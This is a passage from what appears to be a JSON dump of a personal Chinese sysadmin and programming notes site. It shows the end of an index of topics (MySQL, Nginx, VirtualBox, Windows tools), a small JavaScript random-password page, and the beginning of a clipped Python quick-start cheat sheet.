错误</li>\n<li>解决ubuntu16.04上mysql被apt upgrade自动关闭的问题</li>\n<li>NULL转0</li>\n<li>给MySQL增加一个slave做主从复制</li>\n</ul>\n</blockquote>\n<h2 id=\"nginx\"><a href=\"Nginx/\">Nginx</a><a class=\"headerlink\" href=\"#nginx\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>Nginx思考题</li>\n<li>普通资源允许POST</li>\n<li>不带后缀的文件当成php执行</li>\n<li>获得Let&rsquo;s encrypt免费https证书</li>\n<li>使用acme.sh获得泛域名证书</li>\n<li>配置安全的https</li>\n<li>反向代理之替换网页、JS中的文本</li>\n<li>root与alias的区别</li>\n<li>在bash on win10上使用Nginx</li>\n<li>Nginx允许列目录</li>\n<li>安全地使用SeaweedFS作为图片反向代理服务器: 多上游切换，SeaweedFS Docker部署</li>\n<li>proxy_pass 动态代理</li>\n<li>使用阿里云函数计算定时更新https证书</li>\n<li>使用nfs存储Nginx日志</li>\n</ul>\n</blockquote>\n<h2 id=\"php\"><a href=\"PHP/\">PHP</a><a class=\"headerlink\" href=\"#php\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>显示错误信息</li>\n<li>全页面iframe</li>\n</ul>\n</blockquote>\n<h2 id=\"rabbitmq\"><a href=\"RabbitMQ/\">RabbitMQ</a><a class=\"headerlink\" href=\"#rabbitmq\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>使用Docker部署</li>\n<li>任务推送执行 代码示例</li>\n</ul>\n</blockquote>\n<h2 id=\"ubuntu\"><a href=\"Ubuntu/\">Ubuntu桌面版</a><a class=\"headerlink\" href=\"#ubuntu\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>安装Google拼音后用上云候选功能</li>\n</ul>\n</blockquote>\n<h2 id=\"virtualbox\"><a href=\"Linux-VirtualBox/\">VirtualBox</a><a class=\"headerlink\" href=\"#virtualbox\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>下载安装，一定记得安装额外包</li>\n<li>创建虚拟机，设置虚拟机选项</li>\n<li>启动虚拟机</li>\n<li>远程控制虚拟机</li>\n</ul>\n</blockquote>\n<h2 id=\"winsoftware\"><a href=\"WindowsSoftware/\">WinSoftware</a><a class=\"headerlink\" href=\"#winsoftware\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>Emeditor</li>\n<li>Everything</li>\n<li>Sysinternals Utilities</li>\n<li>CLOC代码统计利器</li>\n<li>U盘安装原版系统盘</li>\n<li>WinRAR</li>\n<li>BurpSuite</li>\n<li>BEncode Editor</li>\n<li>Win10 Windows照片查看器</li>\n</ul>\n</blockquote>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \".\", \"features\": [], \"search\": \"assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/p.html",
    "content": "<script language=\"javascript\"> \r\nfunction randomString(chars,len) {\r\n　　len = len || 16;\r\n　　var maxPos = chars.length;\r\n　　var pwd = '';\r\n　　for (i = 0; i < len; i++) {\r\n　　　　pwd += chars.charAt(Math.floor(Math.random() * maxPos));\r\n　　}\r\n　　return pwd;\r\n}\r\nfunction selectText() {\r\n    if (document.selection) {\r\n        var range = document.body.createTextRange();\r\n        range.moveToElementText(document.getElementById('selectable'));\r\n        range.select();\r\n    } else if (window.getSelection) {\r\n        var range = document.createRange();\r\n        range.selectNode(document.getElementById('selectable'));\r\n        window.getSelection().addRange(range);\r\n    }\r\n}\r\ndocument.write('<span id=\"selectable\">'+randomString('~!@#$*()_+-=ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz123456789',16)+\"</span><br>\");\r\ndocument.write(randomString('ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz123456789',16));\r\nselectText()\r\n</script>\r\n"
  },
  {
    "path": "docs/quickstart.html",
    "content": "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n  <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\" />\r\n  <title>Python_QuickStart</title>\r\n</head>\r\n<body id=\"note-frame-body\">\r\n  <div class=\"note-content\"><div class=\"ennote\"><div style=\"-evernote-webclip:true\"><br/><div style=\"font-size: 16px; display: inline-block;\"><div style=\"font-stretch:inherit;font-family:'Open Sans', sans-serif;font-size:14px;-webkit-tap-highlight-color:rgba(0, 0, 0, 0);font-style:inherit;font-variant:inherit;font-weight:inherit;box-sizing:border-box;line-height:inherit;vertical-align:baseline;color:rgb(82, 92, 101);-webkit-font-smoothing:antialiased;background:rgb(250, 251, 252);background-color:rgb(204, 232, 207);\"><div style=\"font-variant:inherit;box-sizing:border-box;font-weight:inherit;font-size:14px;color:rgb(82, 92, 101);font-style:inherit;font-family:'Open Sans', sans-serif;line-height:1;font-stretch:inherit;vertical-align:baseline;-webkit-font-smoothing:antialiased;background:rgb(250, 251, 252);background-color:rgb(204, 232, 207);\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;transition:opacity 0.2s linear;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;overflow-x:hidden;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"font-size:inherit;box-sizing:border-box;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-style:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;transition:all 0.3s ease;overflow-x:hidden;\"><div style=\"font-size:inherit;box-sizing:border-box;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-style:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;flex-direction:column;background:rgb(28, 38, 47);\"><div style=\"line-height:28px;box-sizing:border-box;font-family:inherit;font-variant:inherit;font-stretch:inherit;vertical-align:baseline;font-style:inherit;font-weight:inherit;font-size:15px;flex:1 0 auto;color:rgb(79, 79, 79);overflow:hidden;background:white;\"><div style=\"line-height:inherit;box-sizing:border-box;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;font-style:inherit;font-family:inherit;vertical-align:baseline;flex-direction:column;align-items:center;background:rgb(250, 251, 252);\"><div style=\"font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;box-sizing:border-box;flex:1 0 auto;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;font-family:inherit;vertical-align:baseline;line-height:1.7;\"><h1>Python QuickStart</h1>\r\n<h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Comments</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;vertical-align:baseline;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;font-style:italic;color:rgb(153, 153, 136);\"># This is a one-line Python comment - code blocks are so useful!</span>\r\n<span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;&quot;&quot;This type of comment is used to document the purpose of functions and classes.&quot;&quot;&quot;</span>\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Declaration/Initialization</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;vertical-align:baseline;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;font-style:italic;color:rgb(153, 153, 136);\"># Remember values, not variables, have data types.</span>\r\n<span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;vertical-align:baseline;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;font-style:italic;color:rgb(153, 153, 136);\"># A variable can be reassigned to contain a different data type.</span>\r\n<span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">answer</span> = 42\r\n<span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">answer</span> = &quot;The answer is 42.&quot;\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Data Types</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">boolean</span> = <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">True</span>\r\nnumber = <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">1.1</span>\r\nstring = <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;Strings can be declared with single or double quotes.&quot;</span>\r\nlist = [<span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;Lists can have&quot;</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">1</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">2</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">3</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">4</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;or more types together!&quot;</span>]\r\ntuple = (<span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;Tuples&quot;</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;can have&quot;</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;more than&quot;</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">2</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;elements!&quot;</span>)\r\ndictionary = {<span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">'one'</span>: <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">1</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">'two'</span>: <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">2</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">'three'</span>: <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">3</span>}\r\nvariable_with_zero_data = None\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Simple Logging</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 134, 179);\">print</span> <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;Printed!&quot;</span>\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Conditionals</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">if</span> cake == <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;delicious&quot;</span>:\r\n    <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 134, 179);\">return</span> <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;Yes please!&quot;</span>\r\n<span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">elif</span> cake == <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;okay&quot;</span>:\r\n    <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 134, 179);\">return</span> <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;I'll have a small piece.&quot;</span>\r\n<span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">else</span>:\r\n    <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 134, 179);\">return</span> <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;No, thank you.&quot;</span>\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Loops</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">for</span> <span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">item</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">in</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(68, 85, 136);\">list</span>:\r\n    print <span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">item</span>\r\n<span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">while</span> (total &lt; max_val):\r\n    total += values[i]\r\n    i += <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">2</span>\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Functions</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">def</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(153, 0, 0);\">divide</span><span 